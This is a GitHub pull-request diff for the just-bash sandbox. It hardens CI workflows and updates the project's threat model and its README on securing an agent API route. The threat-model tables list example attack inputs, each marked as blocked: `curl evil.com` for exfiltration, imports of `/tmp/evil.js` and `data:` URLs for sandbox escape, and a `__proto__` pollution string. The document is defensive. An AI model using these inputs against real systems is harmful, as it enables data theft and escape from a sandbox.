Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
The table of contents is too big for display.
Diff view
Diff view
  •  
  •  
  •  
9 changes: 9 additions & 0 deletions .github/dependabot.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,9 @@
version: 2
updates:
- package-ecosystem: github-actions
directory: /
schedule:
interval: weekly
labels:
- dependencies
- security
11 changes: 8 additions & 3 deletions .github/workflows/comparison-tests.yml
Original file line number Diff line number Diff line change
Expand Up @@ -6,16 +6,21 @@ on:
pull_request:
branches: [main]

permissions:
contents: read

jobs:
comparison-tests:
runs-on: ubuntu-latest

steps:
- uses: actions/checkout@v4
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
with:
persist-credentials: false

- uses: pnpm/action-setup@v4
- uses: pnpm/action-setup@b906affcce14559ad1aafd4ab0e942779e9f58b1 # v4

- uses: actions/setup-node@v4
- uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4
with:
node-version: "20"
cache: "pnpm"
Expand Down
11 changes: 8 additions & 3 deletions .github/workflows/lint.yml
Original file line number Diff line number Diff line change
Expand Up @@ -6,16 +6,21 @@ on:
pull_request:
branches: [main]

permissions:
contents: read

jobs:
lint:
runs-on: ubuntu-latest

steps:
- uses: actions/checkout@v4
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
with:
persist-credentials: false

- uses: pnpm/action-setup@v4
- uses: pnpm/action-setup@b906affcce14559ad1aafd4ab0e942779e9f58b1 # v4

- uses: actions/setup-node@v4
- uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4
with:
node-version: "20"
cache: "pnpm"
Expand Down
10 changes: 7 additions & 3 deletions .github/workflows/python-tests.yml
Original file line number Diff line number Diff line change
Expand Up @@ -6,18 +6,22 @@ on:
pull_request:
branches: [main]

permissions:
contents: read

jobs:
python-tests:
runs-on: ubuntu-latest

steps:
- uses: actions/checkout@v4
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
with:
lfs: true
persist-credentials: false

- uses: pnpm/action-setup@v4
- uses: pnpm/action-setup@b906affcce14559ad1aafd4ab0e942779e9f58b1 # v4

- uses: actions/setup-node@v4
- uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4
with:
node-version: "22"
cache: "pnpm"
Expand Down
7 changes: 7 additions & 0 deletions .github/workflows/release.yml
Original file line number Diff line number Diff line change
Expand Up @@ -34,6 +34,7 @@ jobs:
with:
fetch-depth: 0
lfs: true
persist-credentials: false

- uses: pnpm/action-setup@b906affcce14559ad1aafd4ab0e942779e9f58b1 # v4

Expand All @@ -47,6 +48,12 @@ jobs:
cache: "pnpm"
registry-url: "https://registry.npmjs.org"

# node-liblzma is compiled during install. Keep this in sync with the
# unit-test workflow so the release gate exercises XZ support rather
# than silently installing without a usable native codec.
- name: Install XZ build dependency
run: sudo apt-get update && sudo apt-get install --yes liblzma-dev

- name: Install dependencies
run: pnpm install --frozen-lockfile

Expand Down
11 changes: 8 additions & 3 deletions .github/workflows/typecheck.yml
Original file line number Diff line number Diff line change
Expand Up @@ -6,16 +6,21 @@ on:
pull_request:
branches: [main]

permissions:
contents: read

jobs:
typecheck:
runs-on: ubuntu-latest

steps:
- uses: actions/checkout@v4
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
with:
persist-credentials: false

- uses: pnpm/action-setup@v4
- uses: pnpm/action-setup@b906affcce14559ad1aafd4ab0e942779e9f58b1 # v4

- uses: actions/setup-node@v4
- uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4
with:
node-version: "20"
cache: "pnpm"
Expand Down
13 changes: 10 additions & 3 deletions .github/workflows/unit-tests.yml
Original file line number Diff line number Diff line change
Expand Up @@ -6,6 +6,9 @@ on:
pull_request:
branches: [main]

permissions:
contents: read

jobs:
unit-tests:
runs-on: ubuntu-latest
Expand All @@ -14,17 +17,21 @@ jobs:
node-version: ["20", "22", "24"]

steps:
- uses: actions/checkout@v4
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
with:
lfs: true
persist-credentials: false

- uses: pnpm/action-setup@v4
- uses: pnpm/action-setup@b906affcce14559ad1aafd4ab0e942779e9f58b1 # v4

- uses: actions/setup-node@v4
- uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4
with:
node-version: ${{ matrix.node-version }}
cache: "pnpm"

- name: Install XZ build dependency
run: sudo apt-get update && sudo apt-get install --yes liblzma-dev

- name: Install dependencies
run: pnpm install --frozen-lockfile

Expand Down
32 changes: 16 additions & 16 deletions THREAT_MODEL.md
Original file line number Diff line number Diff line change
Expand Up @@ -158,7 +158,7 @@ The following components are **trusted** and outside the scope of just-bash's ru
| Proxy constructor | Create intercepting proxies | Blocked by defense-in-depth proxy | `src/security/blocked-globals.ts` |
| WeakRef/FinalizationRegistry | GC observation/side channels | Blocked by defense-in-depth proxy | `src/security/blocked-globals.ts` |
| process.chdir() | Confuse CWD tracking | Blocked by defense-in-depth proxy | `src/security/blocked-globals.ts` |
| **dynamic import()** | `import('/tmp/evil.js')` | **BLOCKED**: `Module._resolveFilename` blocks file specifiers; ESM loader hooks block `data:`/`blob:` URLs (Node.js 20.6+; see §4.1) | `src/security/defense-in-depth-box.ts` |
| **dynamic import()** | `import('/tmp/evil.js')` | Context-aware loader hooks block builtins and executable URL schemes where supported; other supported runtimes retain best-effort secondary controls (see §4.1) | `src/security/defense-in-depth-box.ts` |
| child_process | spawn/exec/fork | Not imported anywhere; no code path from interpreter | Architecture |

### 3.6 Information Disclosure
Expand Down Expand Up @@ -223,23 +223,23 @@ The following components are **trusted** and outside the scope of just-bash's ru

## 4. Known Gaps & Residual Risks

### 4.1 Dynamic import() Mitigated (Three Layers)
### 4.1 Dynamic import() Defense Varies by Runtime Capability

**Risk**: LOW (comprehensively mitigated on Node.js 20.6+)
**Risk**: Defense-in-depth only; inspect the resolved runtime capability.

Dynamic `import()` is a language-level keyword, not a property on any object. It cannot be intercepted by Proxy or defineProperty. However, it CAN be intercepted via Node.js ESM loader hooks.

**Attack scenario**: If attacker achieves JS code execution → `import('data:text/javascript,...')` → full escape.

**Mitigations** (three layers):
1. **Module._resolveFilename blocked** — file-based `import()` specifiers (e.g., `import('/tmp/evil.js')`) are intercepted at the CJS module resolution level and blocked
2. **ESM loader hooks** — `module.registerHooks()` (Node.js 23.5+) or `module.register()` (Node.js 20.6+) installs hooks that reject `data:` and `blob:` URL specifiers process-wide. No CLI flags required.
3. **Filesystem restrictions** — OverlayFs writes to memory only, InMemoryFs has no real FS backing, so attacker cannot write .js files to the real filesystem
4. **Architecture** — no code path exists from bash interpretation to JS execution; all paths (Function, eval, setTimeout, constructor chains) are blocked
**Mitigations**:
1. **Context-aware loader hooks** — when `node:module.registerHooks()` is available, builtin and executable URL imports are rejected only from the untrusted async context.
2. **Scoped host controls** — supported runtimes without contextual hooks still apply the reversible best-effort global and CommonJS defenses.
3. **Filesystem restrictions** — OverlayFs writes to memory only, and InMemoryFs has no real filesystem backing.
4. **Architecture** — ordinary shell interpretation does not evaluate JavaScript. The opt-in `js-exec` feature uses a separately hardened worker boundary.

**Residual risk**: On Node.js < 20.6 where `module.register()` is unavailable, `data:` URL imports remain unblockable. For those deployments, use `--experimental-loader` CLI hooks as an additional layer.

**Note**: The ESM loader hooks are process-wide and permanent (cannot be unregistered). This is an accepted trade-off — `data:` and `blob:` URL imports are essentially never used in production Node.js applications.
Call `DefenseInDepthBox.getInstance().getStatus()` and require `level: "full"`
when contextual dynamic-import protection is a deployment requirement. The
library does not install a permanent process-global deny-all loader.

### 4.2 Pre-Captured References Bypass Defense-in-Depth

Expand Down Expand Up @@ -295,7 +295,7 @@ When `python: true`, CPython 3.13 Emscripten provides full Python execution via
- Disabled by default; must be explicitly enabled via `{ python: true }`
- 30-second timeout (`maxPythonTimeoutMs`; configurable)
- Fresh Worker thread per execution (EXIT_RUNTIME; no state leakage between runs)
- `WorkerDefenseInDepth` with only 2 exclusions: `shared_array_buffer`, `atomics`
- `WorkerDefenseInDepth` with narrowly documented Emscripten compatibility exclusions; an earlier worker-entry guard blocks the exact dangerous CommonJS builtins before CPython loads
- Stdlib shipped as `.pyc`-only zip in MEMFS (no real FS access, no runtime compilation)
- 18+ file operations (open, stat, glob, pathlib, shutil, etc.) redirected through `/host` mount
- C-level file operations (`_io.open`) also confined by Emscripten VFS (no NODEFS/NODERAWFS)
Expand All @@ -308,7 +308,7 @@ When `python: true`, CPython 3.13 Emscripten provides full Python execution via
- Python's `eval()` and `exec()` execute arbitrary Python (same as bash `eval`; no JS escalation path)
- `/lib` (MEMFS stdlib) is writable within a single execution (each execution is fresh)
- Symlink targets are readable via `os.readlink()` but not followable outside root
- Python can allocate memory up to WASM limits (mitigated by 30s timeout)
- CPython's WASM linear memory is not reliably contained by Node worker `resourceLimits`. Queue, deadline, bridge, and HOSTFS size controls bound other resources, but strong heap containment requires process/container isolation or a lower-memory CPython WASM build.

### 4.8 Error Message Information Leakage

Expand Down Expand Up @@ -358,7 +358,7 @@ Heredocs with variable expansion are size-limited (10MB) but nested heredocs wit
| 3 | Access process.env | No bash→JS path. If bug: defense-in-depth → throw | **BLOCKED** (arch + secondary) |
| 4 | Infinite loop | `while true; do :; done` → maxLoopIterations → throw | **BLOCKED** (limits) |
| 5 | Prototype pollution | `arr[__proto__]=evil` → Map/null-prototype → no effect | **BLOCKED** (data guards) |
| 6 | dynamic import() escape | Hypothetical JS exec → `import('data:...')` → ESM hooks block data:/blob: URLs | **BLOCKED** (Node.js 20.6+; residual on older) |
| 6 | dynamic import() escape | Hypothetical JS exec → `import('data:...')` → contextual loader hook | **BLOCKED when status is `level: "full"`; inspect lower levels otherwise** |
| 7 | Network exfiltration | `curl evil.com` → network off → curl not registered | **BLOCKED** (network isolation) |
| 8 | process.exit() | No bash→JS path. If bug: defense-in-depth → throw | **BLOCKED** (arch + secondary) |
| 9 | Brace expansion OOM | `{1..999999999}` → maxBraceExpansionResults → truncated | **BLOCKED** (limits) |
Expand All @@ -374,13 +374,13 @@ Heredocs with variable expansion are size-limited (10MB) but nested heredocs wit
| 20 | performance.now() timing | Sub-ms timing attack → blocked by defense-in-depth | **BLOCKED** (secondary) |
| 21 | Prototype pollution via `__defineGetter__` | Inject getter on prototype → blocked by defense-in-depth | **BLOCKED** (secondary) |
| 22 | File-based import() | `import('/tmp/evil.js')` → Module._resolveFilename blocked → throw | **BLOCKED** (secondary) |
| 23 | data: URL import() | `import('data:text/javascript,...')` → ESM loader hooks → throw | **BLOCKED** (Node.js 20.6+) |
| 23 | data: URL import() | `import('data:text/javascript,...')` → contextual loader hook → throw | **BLOCKED when status is `level: "full"`; inspect lower levels otherwise** |

---

## 7. Recommendations for Future Hardening

1. ~~**`--experimental-loader` for import() blocking**~~**IMPLEMENTED**: ESM loader hooks via `module.register()` (Node.js 20.6+) / `module.registerHooks()` (Node.js 23.5+) block `data:` and `blob:` URL imports process-wide. Combined with `Module._resolveFilename` blocking for file specifiers, `import()` is fully mitigated on Node.js 20.6+. No CLI flags required.
1. **Runtime isolation for host-realm execution**require `level: "full"` or use a dedicated worker/process when opt-in JavaScript can reach the host realm.
2. ~~**Systematic error message audit**~~ — **IMPLEMENTED**: `sanitizeErrorMessage()` applied at all error choke points; strips OS paths, `node:internal/` paths, and stack traces
3. **Content Security Policy for output** — Consider sanitizing output to prevent XSS when sandbox output is rendered in web contexts
4. **Expand fuzzing corpus** — Add grammar rules for trap, job control (`&`, `fg`, `bg`), and deeply nested heredocs with expansion
Expand Down
3 changes: 2 additions & 1 deletion biome.json
Original file line number Diff line number Diff line change
Expand Up @@ -59,7 +59,8 @@
"!**/*.parsed.json",
"!.claude",
"!.pnpm-store",
"!.docs-test-tmp",
"!**/.docs-test-tmp",
"!.deepsec/data",
"!packages/just-bash/src/commands/python3/worker.js",
"!packages/just-bash/src/commands/js-exec/js-exec-worker.js",
"!packages/just-bash/src/commands/sqlite3/worker.js",
Expand Down
8 changes: 8 additions & 0 deletions examples/executor-tools/CHANGELOG.md
Original file line number Diff line number Diff line change
@@ -1,5 +1,13 @@
# executor-tools-example

## 1.0.7

### Patch Changes

- Updated dependencies [[`3d39a71`](https://github.com/vercel-labs/just-bash/commit/3d39a714b3751cedc173dffae27933dfe7b8b3b5), [`6df692f`](https://github.com/vercel-labs/just-bash/commit/6df692f236ca108c888552a67557998156ac845b), [`7c4caed`](https://github.com/vercel-labs/just-bash/commit/7c4caedf02599628f19b243f960d480760f5e476)]:
- just-bash@3.2.0
- @just-bash/executor@3.0.0

## 1.0.6

### Patch Changes
Expand Down
2 changes: 1 addition & 1 deletion examples/executor-tools/package.json
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
{
"name": "executor-tools-example",
"version": "1.0.6",
"version": "1.0.7",
"description": "Example of @just-bash/executor — inline tools + GraphQL/OpenAPI/MCP discovery",
"type": "module",
"scripts": {
Expand Down
9 changes: 9 additions & 0 deletions examples/website/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -2,6 +2,15 @@

This is an interactive demo of **just-bash** running entirely in your browser, with an AI agent that can explore the source code.

The paid-model `/api/agent` route is disabled by default in production. Set
`JUST_BASH_AGENT_API_TOKEN` and have an authenticated same-origin gateway add
`Authorization: Bearer <token>` to enable it. Never embed this server token in
browser JavaScript. The route also bounds request history, output tokens,
agent steps, retries, body-read and execution time, per-instance concurrency,
and admission rate. Production deployments should also add distributed provider/edge
per-principal rate and spend limits; an instance-local counter is not a global
quota in a horizontally scaled deployment.

## Architecture

```
Expand Down
Loading